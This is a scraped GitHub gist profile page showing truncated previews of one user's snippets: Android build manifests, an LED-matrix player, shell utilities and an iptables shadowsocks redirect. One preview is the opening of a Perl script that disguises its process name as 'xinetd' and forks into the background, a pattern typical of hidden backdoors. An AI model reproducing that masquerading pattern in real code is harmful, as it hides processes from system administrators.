Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View isjerryxiao's full-sized avatar
⛑️
moving bricks

Jerry Xiao isjerryxiao

⛑️
moving bricks
View GitHub Profile

Keybase proof

I hereby claim:

  • I am isjerryxiao on github.
  • I am jerryxiao (https://keybase.io/jerryxiao) on keybase.
  • I have a public key whose fingerprint is 1862 4220 4A2E C704 38E9 CE3B 9D9C E436 50FF 2BAA

To claim this, I am signing this object:

#!/usr/bin/perl -w
use strict;
use POSIX;
use IO::Socket;
use IO::Select;
$0 = "xinetd"; my ($q1, $q2) = ("0.7", "0.8"); $| = 1; &main();
sub main
{
exit 0 unless defined (my $pid = fork);
exit 0 if $pid;
@isjerryxiao
isjerryxiao / readme.md
Last active July 19, 2018 05:08
Magisk for a few Xiaomi devices(treble)
<?xml version="1.0" encoding="UTF-8"?>
<!--Please do not manually edit this file-->
<manifest>
<remove-project name="platform/bootable/recovery"/>
<project name="android_bootable_recovery" path="bootable/recovery" remote="omnirom" revision="android-8.1" />
<project name="android_external_busybox" path="external/busybox" remote="omnirom" revision="android-8.1" />
</manifest>
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
<!-- Old <project name="TheScarastic/proprietary_vendor_xiaomi" path="vendor/xiaomi" remote="github" revision="lineage-15.1"/> -->
<project name="HighwayStar/proprietary_vendor_xiaomi_mido" path="vendor/xiaomi" remote="github" revision="lineage-15.1"/>
<project name="HighwayStar/android_device_xiaomi_mido" path="device/xiaomi/mido" remote="github" revision="lineage-15.1"/>
<project name="TheScarastic/android_kernel_xiaomi_msm8953" path="kernel/xiaomi/msm8953" remote="github" revision="lineage-15.1-treble"/>
<!-- Dulplicate <project name="LineageOS/android_device_qcom_common" path="device/qcom/common" remote="github"/> -->
</manifest>
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
<project path="device/xiaomi/mido" name="device_xiaomi_mido" remote="pixel-devices" revision="oreo-mr1" />
<project path="vendor/xiaomi" name="HighwayStar/proprietary_vendor_xiaomi_mido" remote="github" revision="lineage-15.1" />
<project path="kernel/xiaomi/msm8953" name="Android-Jerry/android_kernel_xiaomi_msm8953-pe1" remote="github" revision="oreo" />
<remove-project name="LineageOS/android_hardware_qcom_audio" />
<project path="hardware/qcom/audio-caf/apq8084" name="LineageOS/android_hardware_qcom_audio" remote="github" revision="staging/lineage-15.1-caf-8084" />
<project path="hardware/qcom/audio-caf/msm8916" name="LineageOS/android_hardware_qcom_audio" remote="github" revision="staging/lineage-15.1-caf-8916" />
@isjerryxiao
isjerryxiao / player.py
Last active September 28, 2017 13:40
Play a series of converted images on a single max7219 8x8 led matrix. https://github.com/rm-hull/luma.led_matrix
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os, sys, time, threading
from luma.core.interface.serial import spi, noop
from luma.led_matrix.device import max7219
from PIL import Image
interval=1/30
@isjerryxiao
isjerryxiao / exponential-backoff-while.sh
Last active July 9, 2017 10:09
Exponential backoff
#!/usr/bin/env bash
test_if_network_is_reachable(){
false
}
i=2
max=86400
while ((i<=${max})) ; do
test_if_network_is_reachable && break
sleep ${i}
((i=${i}*2))
#!/usr/bin/env bash
#xrandr
#cvt 1366 768
sudo xrandr --newmode "1368x768_60.00" 85.25 1368 1440 1576 1784 768 771 781 798 -hsync +vsync
xrandr --addmode VGA1 "1368x768_60.00"
xrandr --output VGA1 --mode "1368x768_60.00" --rate 60
sudo xrandr --newmode "1368x768_50.00" 69.25 1368 1424 1560 1752 768 771 781 793 -hsync +vsync
@isjerryxiao
isjerryxiao / rateat
Created December 20, 2016 09:38 — forked from reee/rateat
Redirect All Traffic Except Asia Traffic
#!/bin/sh
#create a new chain named SHADOWSOCKS
iptables -t nat -N SHADOWSOCKS
# Ignore your shadowsocks server's addresses
# It's very IMPORTANT, just be careful.
iptables -t nat -A SHADOWSOCKS -d 163.44.132.189/32 -j RETURN
iptables -t nat -A SHADOWSOCKS -d 0.0.0.0/8 -j RETURN